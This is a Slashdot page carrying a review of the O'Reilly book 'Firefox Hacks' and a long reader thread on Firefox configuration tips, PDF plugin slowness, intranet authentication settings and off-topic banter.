Slashdot Mirror


Firefox Hacks

honestpuck (Tony Williams) writes "If there is an application I run more often than my Web browser, particularly since I also use it as my email client, then I don't know what it might be. As a Firefox convert, that made the arrival of Firefox Hacks from O'Reilly a wonderful surprise." Read on for the rest of Williams' review. Firefox Hacks author Nigel McFarlane pages 368 publisher O'Reilly rating 7 reviewer Tony Williams ISBN 0596009283 summary A good, fairly technical examination of Firefox

The first of several books on the topic of Firefox hacking (two more are due from other publishers in the coming months) Firefox Hacks sets the bar quite high. The author, Nigel McFarlane, has already written a number of other books and articles on similar topics and knows his subject well. He has also enlisted the help of a number of other cognoscenti to cover the more distant corners covered in the book.

A Web browser is a much more complex piece of software than you may realize on first examination, and Firefox -- with the core Gecko engine surrounded by a large wrapper written in XUL and JavaScript -- provides a fertile ground for any number of changes and enhancements. Firefox Hacks does a good job of mapping out the boundaries of this space.

Over the course of the now-traditional 100 hacks found in the same series' other members, this book covers hacking with, on, and to almost all aspects of Firefox and the 'net. The book is broken up into nine chapters, most worth reading by almost everyone -- even the first, "Firefox Basics," taught me a couple of tricks for getting the best out of a slow (and expensive) GPRS connection. The others are "Security," "Installation," "Web Surfing Enhancements," "Power Tools for Web Developers," "Power XML for Web Pages," "Hack the Chrome Ugly," "Hack the Chrome Cleanly," and "Work More Closely With Firefox." I have to say I felt the chapter on Power XML (with 17 of the 100 hacks) was far too general on Web technologies and a little out of place; easily half the hacks in that chapter could have been dropped without any real loss to a reader's understanding of Firefox. I would have preferred more on the browser itself. No insult intended to Seth Dillingham, who wrote four of the hacks I'd throw out -- they are well written and do show how best to deal with Web technologies inside Firefox. I just felt that the space would have been better devoted to more "core" topics.

The first four chapters will be useful to everyone, covering mainly the use of Firefox. From that point, the hacks become increasingly complex as they cover Web development, then modifying the interface, before covering such arcana as creating extensions and custom builds.

I am hard pressed to think of a corner of Firefox not at least touched, though it must be said that the later hacks only touch on the topics covered without really providing a lot of depth. If you get to the last two chapters in the book, performing and expanding on the hacks, you will probably need a great deal more information and assistance to branch out on your own. McFarlane, however, points out the possibilities and gets you started. I didn't feel this was a flaw, just that a line had been drawn, as it must unless the book was going to be three times the size and price.

The book is fairly well written. The quality of writing and editing fall into that middle ground of "fairly good" that one expects from the average O'Reilly book, though not the "excellent" they can sometimes hit. The structure and flow are excellent, making the book readable in large chunks -- enough sticks that when you are back in front of the computer using Firefox you can remember a few things. (Or, sometimes, I remembered that a hint existed and was able to easily find and use the information.)

For a closer look there is a decent page at O'Reilly with links to six example hacks, the table of contents (listing all 100 hacks) and the index.

To conclude, I'm not sure I could recommend this book to everyone; it spends a little too much time a fair way along the technology curve for those who aren't ready for some programming, though for anyone who wants to get their hands dirty and perform some hardcore hacking on their favourite browser, then this is an above-average volume. For someone who is happy as "just a user," this book may be too much: wait and see what else emerges into the Firefox book market -- including O'Reilly's other offering, the soon-to-be-released Don't Click on the Blue E, which they describe as giving "non-technical users a convenient roadmap for switching to a better web browser--Firefox."

Also watch soon for a review of Prentice Hall's Firefox & Thunderbird Garage. You can purchase Firefox Hacks from bn.com. Slashdot welcomes readers' book reviews -- to see your own review here, read the book review guidelines, then visit the submission page.

309 comments

  1. PDF Hack by The_Rippa · · Score: 2, Insightful

    Where is the hack that lets you view the pdf examples of the other hacks in firefox without it locking up?

    1. Re:PDF Hack by Derek+Pomery · · Score: 5, Informative

      http://www.mozilla.org/support/firefox/faq#acrobat
      Not only "slowly" but also unstably.
      Every system I've applied this FAQ entry to has much better performance.

      --
      -- perl -e'print pack"H*","6e656d6f406d38792e6f7267"' /. ate my old sig. Bastards.
    2. Re:PDF Hack by Anonymous Coward · · Score: 0

      Same place as the hacks that...
      * Allow you to disable Flash
      * Allow you to disable other plugins (permanently)
      * Allow you to go backwards after typing in an unrecognized URL (try it! - very annoying)
      * Let the download manager reconnect lost TCP/IP connections
      * Make the "view page source/wrap long lines" setting actually "wrap long lines"
      * Stop it getting confused regarding Serif/Non-Serif fonts
      * Stop it displaying "tools/Read Mail" when you don't have Thunderbird installed ...I could go on and on...

    3. Re:PDF Hack by Anonymous Coward · · Score: 0

      Are they in the same chapter as the hack that...
      Allows you to delete an item when displaying about:config?

    4. Re:PDF Hack by SteelX · · Score: 1

      Is there an equivalent for doing this on Linux? It's really slow too.

    5. Re:PDF Hack by Anonymous Coward · · Score: 0

      What sort of idiotic requirement would that be?
      Given about:config is an exposure of all the GRE config values, the only thing delete could do would be hiding that value from you.
      If you want such a bizaare requirement, you can darn well write the filter yourself.

    6. Re:PDF Hack by eAi2 · · Score: 1

      Adobe Reader 7 is considerably faster to load than Acrobat 6...

    7. Re:PDF Hack by Anonymous Coward · · Score: 0

      Okay, I install some extension. Let's say "stumbleupon". Then I delete it.
      Ooops, about:config still shows all the config items.
      Okay, I'll delete them. Ooops I can't!
      What if they conflict with another extension... tough shit.

      Say I want to limit what plug'ins are available for certain file types.
      This is very warped under Firefox (checks in all manner of descrete and sneaky ways).
      To stop it sending .pdf to Adobe, you have to delete the about:config entry, or uninstall adobe.
      There is no way of doing deleting the entry from within about:config
      In fact, you have to set the minimum version number to 9999.9999 or something stupid like that.

      In the end, you've got go hunting for the particular file and edit it by hand.

    8. Re:PDF Hack by Anonymous Coward · · Score: 1, Informative

      plugin.scan.Acrobat

      from the firefox website...
      remove this entry if you don't want PDF files sent to an external viewer and would prefer to download them

    9. Re:PDF Hack by pjbgravely · · Score: 2, Informative

      A 404 informative?, what gives?

      --
      Star Trek, there maybe hope.
    10. Re:PDF Hack by Anonymous Coward · · Score: 0

      What about the "tools/web search" setting.
      Have you seen this? It's the first setting under tools. I bet you've never clicked on it.
      Try it... now... go on.. click on it...
      What does it do?
      Nothing!?!?

    11. Re:PDF Hack by Anonymous Coward · · Score: 0

      xpdf is faster still. Dunno about on windows.

    12. Re:PDF Hack by Anonymous Coward · · Score: 0

      It chages focus to the search box next to the address bar. You hit CTRL+K and you can type in there to do a search, without reaching for the mouse. It is a dumb thing to have on a menu, though.

    13. Re:PDF Hack by SkeptiNerd75 · · Score: 2, Informative

      Mozilla.org blocks referrers from Slashdot. Just copy and paste the URL into your browser.

    14. Re:PDF Hack by good-n-nappy · · Score: 4, Informative

      I got this too. The problem is that the "#" is turning into "%23" for some reason. Use this link instead and search for Adobe.

      --
      Never underestimate the power of fiber.
    15. Re:PDF Hack by aichpvee · · Score: 1

      What counts as an "unrecognized URL"? Because it must mean something completely different to you than it does to me. Also, where's the "Tools|Read Mail" menu?

      --
      The Farewell Tour II
    16. Re:PDF Hack by Anonymous Coward · · Score: 0

      Go to slashdot main page.
      Click on a story.
      Type in the URL bar something like
      "zzzzz://blahblahblah"

      (it'll respond with unknown protocol)
      Hit backwards button...
      Ooops, you lost the page you were on (it'll return you to the slashdot main page)
      This is very annoying when browsing, it does the same if you click a link, and it times out. You lose the page you were on.

    17. Re:PDF Hack by Anonymous Coward · · Score: 0

      It shows "Read mail" if you've ever installed Firefox with Thunderbird installed.
      Doesn't matter if you've uninstalled Thunderbird years ago, and/or since reinstalled Firefox.
      Very annoying. Clicking on it does nothing.

    18. Re:PDF Hack by pawnIII · · Score: 2, Informative

      Ever since 1.0.1 and Adobe Acrobat 7 came out, I haven't had a slow down or a crash when loading pdf files.

    19. Re:PDF Hack by Anonymous Coward · · Score: 0

      That's entirely different. If you install an extension, the entries are in your local profile and can be removed just fine from there with, oh, notepad.

      If you prefer, there are also a couple of projects working on extension uninstallers, but it is a little tricky, given the various things an extension can do.

    20. Re:PDF Hack by shokk · · Score: 1

      Acrobat 7 seems to need a few more folders and files than that, as it launched the installer after I started it once I had renamed the folder and copied the files. Still, it was pretty darn fast.

      --
      "Beware of he who would deny you access to information, for in his heart, he dreams himself your master."
    21. Re:PDF Hack by Masami+Eiri · · Score: 1

      Except you never leave the page, so why bother hitting back?

    22. Re:PDF Hack by Anonymous Coward · · Score: 0

      Have you tried right clicking on the prefs and selecting reset? If you restart Firefox you may find that they have "magically" disappeared. Nice.

      Nigel, just found hack 101.

    23. Re:PDF Hack by Anonymous Coward · · Score: 0

      It's called reset.

    24. Re:PDF Hack by aichpvee · · Score: 1
      Doesn't do anything like that to me. Just pops up the error dialog. The tab's history doesn't seem effected at all.

      Does anyone know if it does that on windows or something? Or in a really old build? Because I've never encountered that and don't understand where it could come from.

      --
      The Farewell Tour II
    25. Re:PDF Hack by Anonymous Coward · · Score: 0

      Simple.
      Open acrobat reader
      goto edit->preferences->internet
      uncheck the box marked "Display PDF in browser"

      Now PDF's don't open in the browser window but in acrobat itself and your browser doesn't lock up anymore

    26. Re:PDF Hack by Anonymous Coward · · Score: 0

      Doesn't pop up an error dialog if you've changed your browser.xul.error_pages setting I think.

    27. Re:PDF Hack by Garion+Maki · · Score: 2, Informative

      text from the page (managed to load it by changing the %23 in the url into a # like sombady posted higher up)

      Why do Adobe pdf files load slowly in Windows?

      Adobe Reader 6.0 for Windows loads lots of unused plugins on startup. The Inquirer has a great article explaining how you can disable those unneeded plugins and make Adobe Reader load faster. Basically, you need to do the following:

      1. Install Adobe Reader 6.0 and notice where it is installed.
      2. Navigate to that folder in Explorer, locate the plug_ins subfolder and rename this folder to plug_ins_disabled.
      3. Create a new plug_ins folder.
      4. Move the files EWH32.api, printme.api and search.api from plug_ins_disabled to plug_ins.

      --
      All indicators show that the human race is selectively breeding itself for stupidity.
    28. Re:PDF Hack by Washizu · · Score: 1

      *Starts Derek Pomery Fan Club*

      --
      OddManIn: A Game of guns and game theory.
    29. Re:PDF Hack by SCPRedMage · · Score: 1

      Like the user above mentioned, # was changed to %23, change it back. It was informative, you were just too quick to insult.

      --
      My sig can beat up your sig.
    30. Re:PDF Hack by zapfie · · Score: 1

      mozilla.org doesn't block referrers from Slashdot. You are thinking of bugzilla.mozilla.org.

      --
      slashdot!=valid HTML
    31. Re:PDF Hack by Anonymous Coward · · Score: 0

      It works by changing the %23 to a ?(question mark) also.

    32. Re:PDF Hack by head_dunce · · Score: 1

      I'm running Firefox with Acrobat 7.0 and having no problems at all. While you're switching your browser, maybe you should switch your OS too.

    33. Re:PDF Hack by aichpvee · · Score: 1

      True. Still doesn't screw up the tab history though. I don't see what this guy is going on about.

      --
      The Farewell Tour II
    34. Re:PDF Hack by DavidHopwood · · Score: 1

      And much faster still if you apply the above hack -- less than half a second for me. (printme.api has gone away, but you don't need it. Also make an empty plug_ins3d directory in the same way.)

  2. I've read the PDF pages on the site... by Ron+Harwood · · Score: 4, Informative

    ...and I found out about editCSS and webdeveloper extenstions from there... they rock.

    1. Re:I've read the PDF pages on the site... by Anonymous Coward · · Score: 3, Funny

      Sure. You don't have time to browse through the extensions to see what's available for your browser, but you do have time to browse Slashdot and read the PDF the article points to.

    2. Re:I've read the PDF pages on the site... by Anonymous Coward · · Score: 0, Flamebait

      And you don't have the time to learn 30 languages and bring peace to the earth but you do have time to sleep at night and take a shit every now and then.

      What are YOU wasting your time on?

    3. Re:I've read the PDF pages on the site... by northcat · · Score: 1, Troll
      A person will use an extension if he needs it. Instead of going to the extensions website and finding the extension you need, you had to read a spoon-feeding-guide to know about it.
      • You couldn't find something you needed although it was so easy to find.
      • You "didn't have the time" to "poke about every feature" of the browser, but you did have the time to read a whole guide about it, which takes longer than "poking about" the features of the browser.
      I still think that you're an idiot.
    4. Re:I've read the PDF pages on the site... by ManoMarks · · Score: 1

      Wow. That's amazing. Your sig decries the very viciousness your post displays.

      --

      That's gotta fit into your schema somewhere

    5. Re:I've read the PDF pages on the site... by Ron+Harwood · · Score: 1

      I didn't know I needed one before I knew it existed - shit eating troll boy.

      I didn't read a whole guide about it - I read one PDF - shit eating troll boy.

  3. One hack I want by jerometremblay · · Score: 4, Insightful

    I want to turn off the damn confirmation every time i open a http: //username:password@site URL!

    1. Re:One hack I want by th1ckasabr1ck · · Score: 5, Interesting

      This isn't funny - I have the same problem logging into my company intranet page. It requires a username and password. Under IE these stored passwords are sent immediately. With Firefox I have to click the confirmation each time. It's enough of a hassle that I redirected my Firefox home page away from the intranet.

    2. Re:One hack I want by Anonymous Coward · · Score: 0

      what's the problem? your link is dead anyway.

    3. Re:One hack I want by Anonymous Coward · · Score: 0

      Even IE doesn't do that any more. You need to specifically change a default registry setting for that to work since IE5.5

    4. Re:One hack I want by Anonymous Coward · · Score: 0

      Two more features I am looking for:
      Save a webpage in the MHT format (and open existing ones)
      Also...
      Hit "File/Send Page" and have it send the page in e-mail, not just the link or the source, as IE does very well.

      Otherwise, awesome browser!

    5. Re:One hack I want by jerometremblay · · Score: 2, Funny

      Yeah, but at least you can change it in the registry.

      I suppose (or rather HOPE) there is a hidden setting somewhere in Firefox, but I haven't found it in about:config.

      (and wth is the grand-parent modded funny? you people have a weird sense of humour)

    6. Re:One hack I want by nizo · · Score: 1

      What I want is a way to turn off any and all confirmation windows complaining about an SSL certificate once I click the "accept this forever" button. Well I mean aside from buy a real certificate......

    7. Re:One hack I want by Elwood+P+Dowd · · Score: 5, Informative

      That's a different problem. Internet explorer won't allow you to submit a password in the URL anymore either.

      The reason your intranet works for everyone on IE is because IE supports Windows integrated security. It can tell that you are who you say you are because your machine is joined to the Windows domain.

      --

      There are no trails. There are no trees out here.
    8. Re:One hack I want by Anonymous Coward · · Score: 1, Informative

      * Open Firefox
      * In the Address bar type "about:config" (no quotes)
      * In the filter field type "ntlm" (no quotes)
      * Double click "network.automatic-ntlm-auth.trusted-urls"
      * Add the following to the dialogue that appears "" (no quotes, and keep the spaces after the commas)
      * Click OK
      * Exit Firefox and restart

    9. Re:One hack I want by emilv · · Score: 2, Insightful

      That's actually a security feature due to the fact that it was widely used by scammers to write URLs such as
      http://www.google.com\@scammersite.com
      resulting in a redirect to the scammer's site.

    10. Re:One hack I want by Anonymous Coward · · Score: 0

      I'm not sure exactly, but here are some files I check through when I set up Firefox in my remaster of Knoppix:
      /greprefs/all.js
      /defaults/pref/firefox.js

      browserconfig.properties

      Also, in your .mozilla in /home
      .mozilla/firefox/thisfilenamevaries.default/prefs. js

      Most of these are set when you use the about:config, and double click on the item you want to modify, and Firefox opens a box where you can put your own variant in.
      You will also see the menu choices reflected on what can be changed there.
      (Edit --> Preferences
      What I do is once I make the changes to the above files, I make the remaster, and my changes are effective whenever Firefox boots up. If you make about:config changes, that should be permanent on hard drive installs, and will return on restored LiveCD setups. The problem is when Firefox is upgraded, such as the 1.01 to 1.02 recently, then these files have to be carefully reviewed, and if possible compared to the ones currently in effect, to see what needs changing to get what one wants. They comment the lines that are security related, and need to be left as is.

      Sorry I could not find the exact file or line you need for the setting you want, but I'll be on the lookout for it when I next have to review all these files.

    11. Re:One hack I want by Anonymous Coward · · Score: 0

      So you're too damn lazy to hit the Enter key? Wow.

    12. Re:One hack I want by rapidweather · · Score: 1
      Sorry, I forgot to log in to Slastdot.

      That was me with the list of files to look through for setting up Firefox.

      Also, I am going to have to get that book, sounds like the information in there would keep me busy for quite a while. I know the Knoppix Hacks book did!

    13. Re:One hack I want by cowass · · Score: 5, Informative

      If you need windows Auth in firefox do the following: open firefox browse to about:config find network.automatic-ntlm-auth.trused-uris modify the value and enter in your intranet sites that you must pass your username and password to. For some site i connect to i also had to add values to: network.negotiate-auth.delegation-uris network.negotiate-auth.trusted-uris

    14. Re:One hack I want by The_Candyman · · Score: 2, Funny

      there is a registry hach fie IE to fix it. e-mail me to get it.

    15. Re:One hack I want by DaBooch · · Score: 1, Redundant

      So can Firefox, in most cases. Do "about:config", and set/add the network.negotiate-auth.trusted-uris string so that your domain is listed (e.g., I added lmco.com so that all domains ending in that string will auto-authenticate). This causes Firefox to process Kerberos tickets, to authenticate you to Active Directory. You may also want to set the network.negotiate-auth.delegation-uris string the same way, so that the web server can authenticate you to apps as well (e.g., like many portals do).

      --
      ---- Some people have a way with words, and other people ... not have way. Steve Martin
    16. Re:One hack I want by Elwood+P+Dowd · · Score: 1

      Awesome. Now if you can tell me why Firefox won't start on my machine...

      --

      There are no trails. There are no trees out here.
    17. Re:One hack I want by RichM · · Score: 1

      This is due to NTLM authentication, I work as a web developer in a corporate environment and always check my HTML/CSS output in Firefox first.
      Only problem is, you need to input your Windows domain username/password before viewing any internal page served up by IIS.
      IE (as per usual) happily gives the server my authentication data...this is why IE is unfortunately here to stay in the office environment, unless you run Apache.

    18. Re:One hack I want by Anonymous Coward · · Score: 0

      Yes there is a hidden setting for this in Firefox: in the source code. :P

    19. Re:One hack I want by GIL_Dude · · Score: 0

      Damn! I've been needing that for months and it was just so well hidden I hadn't found it.

      However, in testing it, I find that I need to specify every damn site (we have thousands of servers/sites). Is there no way to do something like http://*.somecompany.com? It doesn't seem to work when I try that.

    20. Re:One hack I want by Elwood+P+Dowd · · Score: 1

      Or, even better, everyone in my windows domain.

      --

      There are no trails. There are no trees out here.
    21. Re:One hack I want by BandwidthHog · · Score: 1

      I'd settle for knowing why I can't click the "1 reply beneath your current threshold" links all of the sudden. Very odd.

      --

      Quantum materiae materietur marmota monax si marmota monax materiam possit materiari?
    22. Re:One hack I want by ianalis · · Score: 1

      First of all, this is a security feature that helps prevent being victimized by phishing attacks. DO THE FOLLOWING AT YOUR OWN RISK.

      1. go to about:config
      2. add/edit this key: network. http.phishy-userpass-length
      3. the value is from 1 to 255.

      the browser will warn that you are entering a username and password unless the length is less than that number. the default is 1. for more info, go to http://kb.mozillazine.org/About:config_Entries

    23. Re:One hack I want by darinf · · Score: 2, Interesting

      Try "http://somecompany.com" (without the "*") If it doesn't work, please let us know! ;-)

    24. Re:One hack I want by Alien+Venom · · Score: 1

      No they aren't. Microsoft disabled the type-passwords into the URL functionality in Internet Explorer because of an exploit. You're forced to go to the URL manually and then input your username and password when/if it asks you. Putting such a URL into IE will yield an "invalid syntax error."

    25. Re:One hack I want by balloonpup · · Score: 1

      Informative? The stuff between the quotes is all missing! Bad mods! Anyone know what (s)he was going to put in there?

      --
      I sing the doggie electric!
    26. Re:One hack I want by warkda+rrior · · Score: 1

      That sure is straightforward. Sometimes I wish other programs were as easy to use...

      --
      You need to install an RTFM interface.
    27. Re:One hack I want by Anonymous Coward · · Score: 0

      Wow. Those Firefox guys just think of everything. I sincerely have my doubts that it could possibly get any more easy to use.

  4. Didn't RTFA yet by Kimos · · Score: 5, Funny

    If there is an application I run more often than my Web browser, particularly since I also use it as my email client, then I don't know what it might be. As a Firefox convert

    If there is any English that would make me not want to read this article, particularly since English is my first language, then I don't know what that might be.

    1. Re:Didn't RTFA yet by Vaevictis666 · · Score: 2, Informative
      Now, now. That's a perfectly valid sentence. Taking out the text surrounded in commas as an aside, the main thrust of the sentence is:

      If there is an application I run more often than my Web browser, then I don't know what it might be.

      The "then" might be debatable, but otherwise it makes perfect sense to me. And taking the aside on its own is fine as well, so I dunno what your gripe is.

    2. Re:Didn't RTFA yet by Kimos · · Score: 1

      It's not wrong, just awkward.

    3. Re:Didn't RTFA yet by Anonymous Coward · · Score: 0

      Well, if you're running Linux I bet you execute "(ba?|[t]c|k)?sh" more often than you do "firefox".
      I bet sed and ls give you a run for your money sa well.

    4. Re:Didn't RTFA yet by fm6 · · Score: 4, Insightful
      The sentence may be validEnglish, but it's not clear English.

      However, the suggestion that the writer isn't a native speaker is both bigoted and illogical. Only a native speaker could spawn that many subordinate clauses in such a confusing way!

    5. Re:Didn't RTFA yet by Anonymous Coward · · Score: 0

      actually, it flows better as "If there is an application that I run more often than my Web browser..."

    6. Re:Didn't RTFA yet by Anonymous Coward · · Score: 0

      No, it's also weird to say "might be." The first phrase sets up the hypothetical condition that there is an app he uses more often than Firefox, but the second implies that only "might be" true.

      He should have said, "If there's an app I run more often than my web browser, I don't know what it is."

    7. Re:Didn't RTFA yet by jeblucas · · Score: 1
      ..so I dunno what your gripe is.
      While it may be that the sentence makes perfect sense to you--and I'm glad it does--that does not mean that the author (perhaps not willing to spend the necessary time to improve his prose) should be so easily forgiven for using lengthy clauses and asides; meaningful though they may be, in a sentence clearly intended to introduce us to the topic at hand, as it were.

      Do you know what the gripe is now?

      --
      blarg.
    8. Re:Didn't RTFA yet by Vaevictis666 · · Score: 1
      Point taken :P

      Personally, I wouldn't consider the original to be a lengthy aside, at least compared to your most verbose example, but to each their own I guess.

    9. Re:Didn't RTFA yet by The+Wicked+Priest · · Score: 1

      My first impulse on reading it was to rewrite it thus: "There's no application I run more often than my Web browser, particularly since I also use it as my email client." Simple, direct. The original is not wrong, but it's bad.

      --
      Share and Enjoy: 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    10. Re:Didn't RTFA yet by Anonymous Coward · · Score: 0
      It could have been written
      I don't know of any application I run more often than my Web browser, particularly since I also use it as my e-mail client. As a Firefox convert, I was wonderfully surprised by the arrival of Firefox Hacks from O'Reilly.

      Besides the passive sentence, I believe "that made" is grammatically incorrect. It shouldn't be referring to his Firefox conversion, and the prior sentence was present tense, meaning it should have been "this makes". I don't have an English degree, but I would have re-worded this for a low-level English assignment, much less Slashdot.*

      *This post was neither spell-checked nor grammar-checked.

    11. Re:Didn't RTFA yet by Hakubi_Washu · · Score: 3, Funny

      I wouldn't bet, which is probably illegal in your country anyway, as so many fun things, like alcohol in public or hookers, who are a bit to "often-used" for my taste, on that, at least not if I were you, which I, who am not a native speaker of English, or whatever you Americans consider such, but one of german, which allows for very harsh sounding swear-words, am certainly not. :-P

      Point in case: confusing subordinate clauses aren't related to the language they're expressed in, just to the Kafkaesqueness of the writers mind. Coders seem very likely to use such sentences in my experience, as they're trained to nesting complex expressions (usally involving brackets (such as these)) anyway :-)

    12. Re:Didn't RTFA yet by kabz · · Score: 1

      It's obviously someone from the UK. The country known for such golden phrases as : "I like crab-cakes, but they don't like me."

      --
      -- "It's not stalking if you're married!" My Wife.
    13. Re:Didn't RTFA yet by tootlemonde · · Score: 1

      "wonderfully surprised" is not idiomatic English. His original "a wonderful surprise" is better.

      However, "surprise" is an unlikely reaction. Both sentences are straining for effect and should have been dropped. His review could have just as well begun with the 2nd paragraph: "A Web browser is a much more complex piece of software than you may realize..." It gets immediately to the point and tell you why the book is useful.

    14. Re:Didn't RTFA yet by Anonymous Coward · · Score: 0

      Your example was perfectly clear to me without rereading or backtracking.

      I have no problems parsing lengthy asides, easily shunting them into an auxillary reading comprehension center without losing track of the main topic. In my mind they are analagous to a sort of greyed-out text. I'm surprised that ./ers, who generally have an affinity for guys like Douglas Adams, don't process sentences in a similar manner.

      But then again, my background is in human languages, not machine languages. Perhaps that makes a difference.

    15. Re:Didn't RTFA yet by Anonymous Coward · · Score: 0

      *agrees completely and thought that too*
      *enjoys Esperanto!*

    16. Re:Didn't RTFA yet by rinkjustice · · Score: 1

      actually, it flows better as "If there is an application that I run more often than my Web browser..."

      "That" is a baggage word. It elogates the sentence without adding meaning. Try this:

      If there is an application I run more often than my Web browser...

      Class dismissed.

    17. Re:Didn't RTFA yet by shellbeach · · Score: 2, Funny

      Coders seem very likely to use such sentences in my experience, as they're trained to nesting complex expressions (usally involving brackets (such as these)) anyway :-)

      but (beware (lisp (write (those who)))

    18. Re:Didn't RTFA yet by Anonymous Coward · · Score: 0

      Only a native speaker could spawn that many subordinate clauses in such a confusing way!

      Apparently you don't read many physics articles. :)

    19. Re:Didn't RTFA yet by love2hateMS · · Score: 1

      The "then" is completely incorrect.

  5. Close by TheSportsGED · · Score: 5, Funny

    But if it doesn't tell me how to load Firefox on a memory stick for my PSP, I'm not interested.

    1. Re:Close by superpulpsicle · · Score: 1

      That probably won't be far off after...

      Google firefox
      Netscape firefox
      AOL firefox?

    2. Re:Close by fat+man+with+a+monke · · Score: 1

      What do you mean after Netscape Firefox? Firefox uses Netscape legacy coding, so it might as well be Netscape Firefox.

    3. Re:Close by IANAAC · · Score: 1

      Acutally, I don't think that's true. Unless it's a (fairly) recent Netscape version, It's not based on Gecko, which Firefox is.

    4. Re:Close by Lazyhound · · Score: 2, Informative

      Netscape 7 is Gecko-based, and 8 is basically a Firefox reskin with a few new widgets.

    5. Re:Close by SenseiLeNoir · · Score: 1

      Netscape 6 and above is all gecko based

      Netscape 6 & 7 uses the Seamonkey (Mozilla Suite) Front end.

      Netscape 8 will use the Firefox Front end (though heavily customised to Netscape)

      --
      Have a nice day!
    6. Re:Close by indifferent+children · · Score: 1

      No, RMS requires that it be called GNU/Netscape/Firefox. If you don't refer to it that way, he'll throw a tantrum and refuse all interview requests.

      --
      Censorship is telling a man he can't have a steak just because a baby can't chew it. --Mark Twain
  6. Good about: config explanation by spywarearcata.com · · Score: 5, Informative

    An excellent book. The explanation of about:config and its mods are very useful.

    I did the opposite of the Anonymity sub-chapter by putting my home page URL into my referrer string.

    1. Re:Good about: config explanation by spywarearcata.com · · Score: 0, Troll

      I meant User-agent, not referrer.

      More specifically, I put the string

      user_pref("general.useragent.override", "Mozilla/5.0 (Windows; U; WinXP; rv:1.7.3) Gecko/20040913 http://www.spywarearcata.com/");

      (but not the stuff inclusive of the square brackets which slasdot inserts even in plain old text mode) in the prefs.js file. Voila!

    2. Re:Good about: config explanation by rovingeyes · · Score: 0, Flamebait

      Ok we get it you're a hacker now stop bothering us.

    3. Re:Good about: config explanation by irc.goatse.cx+troll · · Score: 4, Interesting

      He's not a hacker, he's a spammer. He's posting here to help his pagerank, and throwing it in useragent gets him linked on random public web stats pages. It's all about pagerank.

      --
      Pain lasts, kid. Its how you know you're alive. Sometimes I think this growing up thing is just pain management-TheMaxx
    4. Re:Good about: config explanation by Anonymous Coward · · Score: 0

      And, let's not forget the baby jesus.

    5. Re:Good about: config explanation by kosmosik · · Score: 1

      Bit Off-topic. Have look at privoxy - http://www.privoxy.org/ - if you like mess with HTTP messages you send... :)

    6. Re:Good about: config explanation by Kizzle · · Score: 4, Insightful

      I hate seeing referrer spammers like in my webpage stats. You're not clever, just annoying.

    7. Re:Good about: config explanation by spywarearcata.com · · Score: 1

      It categorically is not about pagerank, since I am not in Google at all. Type in "spywarearcata.com" in a Google search box and see. No results at all. My page rank is exactly zero no matter how many web logs the URL is in.

    8. Re:Good about: config explanation by Kizzle · · Score: 1

      (spelling) *like you in my

    9. Re:Good about: config explanation by The+Wicked+Priest · · Score: 1

      Then what is the point? Surely you don't expect to drum up business among webmasters perusing their logs.

      --
      Share and Enjoy: 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    10. Re:Good about: config explanation by Anonymous Coward · · Score: 1, Interesting

      Heh, i always make sure my user-agent contains lotsa quotes, brackets and gibberish - all to mess up the hosts badly written perl/sed/awk tracking scripts.

    11. Re:Good about: config explanation by Anonymous Coward · · Score: 0

      I don't care about the referrer/IP/browser of people landing on my web pages. Problem solved.

    12. Re:Good about: config explanation by Anonymous Coward · · Score: 0

      You don't seem as though you feel entitled to the information either ;)

    13. Re:Good about: config explanation by zooblethorpe · · Score: 1
      Type in "spywarearcata.com" in a Google search box and see. No results at all.

      I just tried and got 40 hits, 27 of them on /. pages.

      I must say though that your domain name seems a little misleading, which might be part of the reaction you're getting.

      --
      "What in the name of Fats Waller is that?"
      "A four-foot prune."
  7. Re:THE BEST FIREFOX HACK by akira69 · · Score: 4, Informative

    You are an asshole. Don't click this link people. Bad news.

  8. MOD PARENT DOWN by Anonymous Coward · · Score: 0

    Link opens about spawns tons of tabs.

    1. Re:MOD PARENT DOWN by Anonymous Coward · · Score: 0

      Sounds like a bug to me...

      I guess the firefox "hacking" really has begun :(

  9. is there a hack to remove the 'cannot connect msg' by Anonymous Coward · · Score: 0

    I hate that msgbox that pops up when you cant connect to a site

    any way to disable this?

  10. HTML instead of PDF by caryw · · Score: 5, Informative
    1. Re:HTML instead of PDF by Anonymous Coward · · Score: 0

      This is exactly what i was thinking , some of the links do apear to follow this patern :( please dont fall into the trap of Fake sigs though , your an excelent poster and the fairfax site is a dammed good example of community intenernet , dont let it get a bad rep due to this

    2. Re:HTML instead of PDF by Anonymous Coward · · Score: 0

      I dont care what the fuck you're spamming, you're still spamming.

      FUCK YOU FAKE SIG SPAMMERS.

  11. If you think the book requires too much coding ... by WillAffleckUW · · Score: 2, Insightful

    ... it spends a little too much time a fair way along the technology curve for those who aren't ready for some programming, though for anyone who wants to get their hands dirty and perform some hardcore hacking on their favourite browser, then this is an above-average volume.

    If you're not ready for some programming, then, by definition, you're not a hacker.

    Geesh, next you'll want the Flash version ...

    --
    -- Tigger warning: This post may contain tiggers! --
  12. Re:more than firefox by Mondoz · · Score: 0, Offtopic

    I'm still in shock that a home computer can be used for anything other than a World of Warcraft terminal.

    --
    /sig
  13. Firefox Prototype by therealfitzman · · Score: 5, Funny

    The new Firefox prototype is amazing. It works by "neuralink" allowing you to think about what website you want to go to and it opens in the browser. The only caveat so far is you have to think in Russian in order for it to work.

    1. Re:Firefox Prototype by prostoalex · · Score: 4, Funny

      The only caveat so far is you have to think in Russian in order for it to work.

      I don't get it. What's the problem?

      --Alex Moskalyuk

    2. Re:Firefox Prototype by Dachannien · · Score: 1, Funny

      Just remember to think "nyet" at any suspicious-looking dialog boxes.

    3. Re:Firefox Prototype by NoGuffCheck · · Score: 1

      sweet... i love russian porn anyway

      --
      serenity now!
    4. Re:Firefox Prototype by Anonymous Coward · · Score: 0

      But I heard in Russia, the browser thinks for you.

    5. Re:Firefox Prototype by normal_guy · · Score: 1

      Has nobody seen Firefox?

      --

      Linux: Free if your time is worthless.
    6. Re:Firefox Prototype by deek · · Score: 1
      • Has nobody seen Firefox?

      Mr prostoalex post was a pun. It gave me a good laugh. I'm sure he's seen the firefox movie before.
    7. Re:Firefox Prototype by jrivar59 · · Score: 1

      In soviet russia, the browser opens YOU!

    8. Re:Firefox Prototype by FuzzyBad-Mofo · · Score: 1

      In Soviet Firefox, you exploit the Internet.

    9. Re:Firefox Prototype by Anonymous Coward · · Score: 0

